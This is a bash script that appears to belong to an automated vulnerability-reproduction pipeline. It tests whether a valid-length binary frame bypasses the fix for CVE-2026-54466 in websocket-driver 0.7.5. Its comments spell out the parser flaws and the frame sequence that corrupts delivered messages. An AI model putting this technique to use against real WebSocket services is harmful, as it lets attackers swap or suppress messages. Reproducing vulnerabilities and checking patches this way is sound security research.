#!/bin/bash
set -euo pipefail

# CVE-2026-54466 variant/bypass — message corruption via valid-length binary frame
#
# The 0.7.5 fix adds `if (this._length > this._maxLength) return this.close()`
# in case 1 of the draft-75 length accumulator. This only prevents OVERSIZED
# length headers. The actual message-corruption mechanism in stage 2 has two
# independent root-cause bugs the fix does NOT address:
#
#   (A) _parseLeadingByte does NOT reset this._buffer when the high bit is set
#       (binary frame path), so the stale buffer from a prior text frame remains.
#   (B) In stage 2, `if (octet === 0xFF)` fires BEFORE the skip-mode branch,
#       so 0xFF is treated as a frame terminator even in skip mode, emitting
#       the stale buffer as a message.
#
# Bypass: send a binary frame with a VALID length (within _maxLength) that
# matches or exceeds the sentinel frame size. The sentinel is consumed as
# skip data; when its 0xFF terminator is hit in skip mode, the stale buffer
# (previous message) is emitted instead. The sentinel is lost.
#
# This reproduces on BOTH 0.7.4 (vulnerable) and 0.7.5 (fixed).
#
# Exit 0 = variant reproduced on the FIXED version (true bypass).
# Exit 1 = variant only works on vulnerable version, or no variant found.

ROOT="${PRUVA_ROOT:-$(cd "$(dirname "$0")/.." && pwd)}"
LOGS="$ROOT/logs"
VARIANT_DIR="$ROOT/vuln_variant"
mkdir -p "$LOGS" "$VARIANT_DIR"

cd "$ROOT"

echo "[variant] ROOT=$ROOT" | tee -a "$LOGS/variant_repro.log"

# --- Resolve the project cache (durable volume) if present -------------------
CACHE_CTX="$ROOT/project_cache_context.json"
CACHE_DIR=""
if [ -f "$CACHE_CTX" ]; then
  PREPARED="$(jq -r '.prepared // false' "$CACHE_CTX" 2>/dev/null || echo false)"
  if [ "$PREPARED" = "true" ]; then
    CACHE_DIR="$(jq -r '.project_cache_dir // empty' "$CACHE_CTX")"
    echo "[variant] project cache prepared=true -> $CACHE_DIR" | tee -a "$LOGS/variant_repro.log"
  fi
fi

VULN_PKG=""
FIXED_PKG=""
if [ -n "$CACHE_DIR" ] && [ -d "$CACHE_DIR/vuln/node_modules/websocket-driver" ] && [ -d "$CACHE_DIR/fixed/node_modules/websocket-driver" ]; then
  VULN_PKG="$CACHE_DIR/vuln"
  FIXED_PKG="$CACHE_DIR/fixed"
  echo "[variant] reusing cached packages: vuln=$VULN_PKG fixed=$FIXED_PKG" | tee -a "$LOGS/variant_repro.log"
else
  # Fallback: install both versions into local scratch dirs.
  echo "[variant] cache unusable; installing websocket-driver via npm" | tee -a "$LOGS/variant_repro.log"
  VULN_PKG="$VARIANT_DIR/_vuln_pkg"
  FIXED_PKG="$VARIANT_DIR/_fixed_pkg"
  rm -rf "$VULN_PKG" "$FIXED_PKG"
  mkdir -p "$VULN_PKG" "$FIXED_PKG"
  printf '{"name":"vuln","version":"1.0.0","dependencies":{"websocket-driver":"0.7.4"}}\n' > "$VULN_PKG/package.json"
  printf '{"name":"fixed","version":"1.0.0","dependencies":{"websocket-driver":"0.7.5"}}\n' > "$FIXED_PKG/package.json"
  (cd "$VULN_PKG"  && npm install --no-audit --no-fund 2>&1 | tail -5) | tee -a "$LOGS/variant_repro.log"
  (cd "$FIXED_PKG" && npm install --no-audit --no-fund 2>&1 | tail -5) | tee -a "$LOGS/variant_repro.log"
fi

# --- Verify versions and fix presence ---------------------------------------
echo "[variant] verifying package versions" | tee -a "$LOGS/variant_repro.log"
VULN_VER=$(node -e "console.log(require('$VULN_PKG/node_modules/websocket-driver/package.json').version)")
FIXED_VER=$(node -e "console.log(require('$FIXED_PKG/node_modules/websocket-driver/package.json').version)")
echo "  vuln:  websocket-driver@$VULN_VER" | tee -a "$LOGS/variant_repro.log"
echo "  fixed: websocket-driver@$FIXED_VER" | tee -a "$LOGS/variant_repro.log"

if grep -q "if (this._length > this._maxLength) return this.close();" "$FIXED_PKG/node_modules/websocket-driver/lib/websocket/driver/draft75.js"; then
  echo "  fixed: guard PRESENT (expected)" | tee -a "$LOGS/variant_repro.log"
else
  echo "  fixed: guard ABSENT (unexpected)" | tee -a "$LOGS/variant_repro.log"
fi

# --- Run the variant harness against each build -----------------------------
HARNESS="$VARIANT_DIR/variant_harness.js"
test -f "$HARNESS"

VULN_JSON="$LOGS/vuln_variant_result.json"
FIXED_JSON="$LOGS/fixed_variant_result.json"

echo "[variant] running vulnerable 0.7.4 ..." | tee -a "$LOGS/variant_repro.log"
node "$HARNESS" "$VULN_PKG" "$VULN_JSON" vuln_variant 2>&1 | tee "$LOGS/vuln_variant_run.log"

echo "[variant] running fixed 0.7.5 ..." | tee -a "$LOGS/variant_repro.log"
node "$HARNESS" "$FIXED_PKG" "$FIXED_JSON" fixed_variant 2>&1 | tee "$LOGS/fixed_variant_run.log"

# --- Evaluate the oracle ----------------------------------------------------
node - <<'NODE' > "$LOGS/variant_oracle_eval.txt"
var fs = require('fs');
var path = require('path');
var ROOT = process.env.PRUVA_ROOT || path.join(__dirname, '..');
var LOGS = path.join(ROOT, 'logs');
var v = JSON.parse(fs.readFileSync(path.join(LOGS, 'vuln_variant_result.json')));
var f = JSON.parse(fs.readFileSync(path.join(LOGS, 'fixed_variant_result.json')));

var POSITIVE = 'POSITIVE-CTRL-OK';
var SENTINEL = 'SENTINEL-VULN-XYZ-12345';

var lines = [];
function p(s){ lines.push(s); }

p('=== Variant oracle evaluation ===');
p('');
p('Variant: binary frame with valid length=' + v.variant_length + ' (within _maxLength=' + v.max_length + ')');
p('');
p('Vulnerable 0.7.4:');
p('  positive_control_delivered : ' + v.positive_delivered);
p('  sentinel_delivered         : ' + v.sentinel_delivered);
p('  close_after_malicious      : ' + v.close_after_malicious);
p('  corrupted_message_emitted  : ' + v.corrupted_message_after_malicious);
p('  positive_message_count     : ' + v.positive_count + ' (2+ => stale re-emit = misframing)');
p('  readyState_final           : ' + v.readyState_final + ' (1=open, 3=closed)');
p('');
p('Fixed 0.7.5:');
p('  positive_control_delivered : ' + f.positive_delivered);
p('  sentinel_delivered         : ' + f.sentinel_delivered);
p('  close_after_malicious      : ' + f.close_after_malicious);
p('  corrupted_message_emitted  : ' + f.corrupted_message_after_malicious);
p('  positive_message_count     : ' + f.positive_count + ' (2+ => stale re-emit = misframing)');
p('  readyState_final           : ' + f.readyState_final + ' (1=open, 3=closed)');
p('');

// Bypass = variant reproduces on the FIXED version
var vulnCorrupted = v.corrupted_message_after_malicious && !v.sentinel_delivered && !v.close_after_malicious;
var fixedCorrupted = f.corrupted_message_after_malicious && !f.sentinel_delivered && !f.close_after_malicious;

p('Oracle verdict:');
p('  vuln_path_matches  : ' + vulnCorrupted);
p('  fixed_path_matches : ' + fixedCorrupted);
p('  BYPASS CONFIRMED   : ' + fixedCorrupted);
p('');
p('Wire bytes (hex):');
p('  variant_header : ' + v.wire_bytes.variant_header + '  (0x80 + length byte, valid length=' + v.variant_length + ')');
p('  sentinel_frame : ' + v.wire_bytes.sentinel);
p('  variant_length : ' + v.variant_length + ' <= maxLength ' + v.max_length + ' (fix guard does NOT fire)');
p('');
p('Vuln events: ' + JSON.stringify(v.events));
p('Fixed events: ' + JSON.stringify(f.events));

fs.writeFileSync(path.join(LOGS, 'variant_oracle_eval.txt'), lines.join('\n') + '\n');
console.log(lines.join('\n'));
NODE

cat "$LOGS/variant_oracle_eval.txt" | tee -a "$LOGS/variant_repro.log"

# --- Final exit code ---------------------------------------------------------
# Exit 0 = bypass confirmed (variant reproduced on FIXED version)
# Exit 1 = no bypass
FIXED_CORRUPTED=$(jq -r '.corrupted_message_after_malicious' "$FIXED_JSON")
FIXED_SENTINEL=$(jq -r '.sentinel_delivered' "$FIXED_JSON")
FIXED_CLOSED=$(jq -r '.close_after_malicious' "$FIXED_JSON")

if [ "$FIXED_CORRUPTED" = "true" ] && [ "$FIXED_SENTINEL" = "false" ] && [ "$FIXED_CLOSED" = "false" ]; then
  echo "[variant] BYPASS CONFIRMED: variant reproduces on fixed 0.7.5" | tee -a "$LOGS/variant_repro.log"
  exit 0
else
  echo "[variant] No bypass: variant does not reproduce on fixed 0.7.5" | tee -a "$LOGS/variant_repro.log"
  exit 1
fi
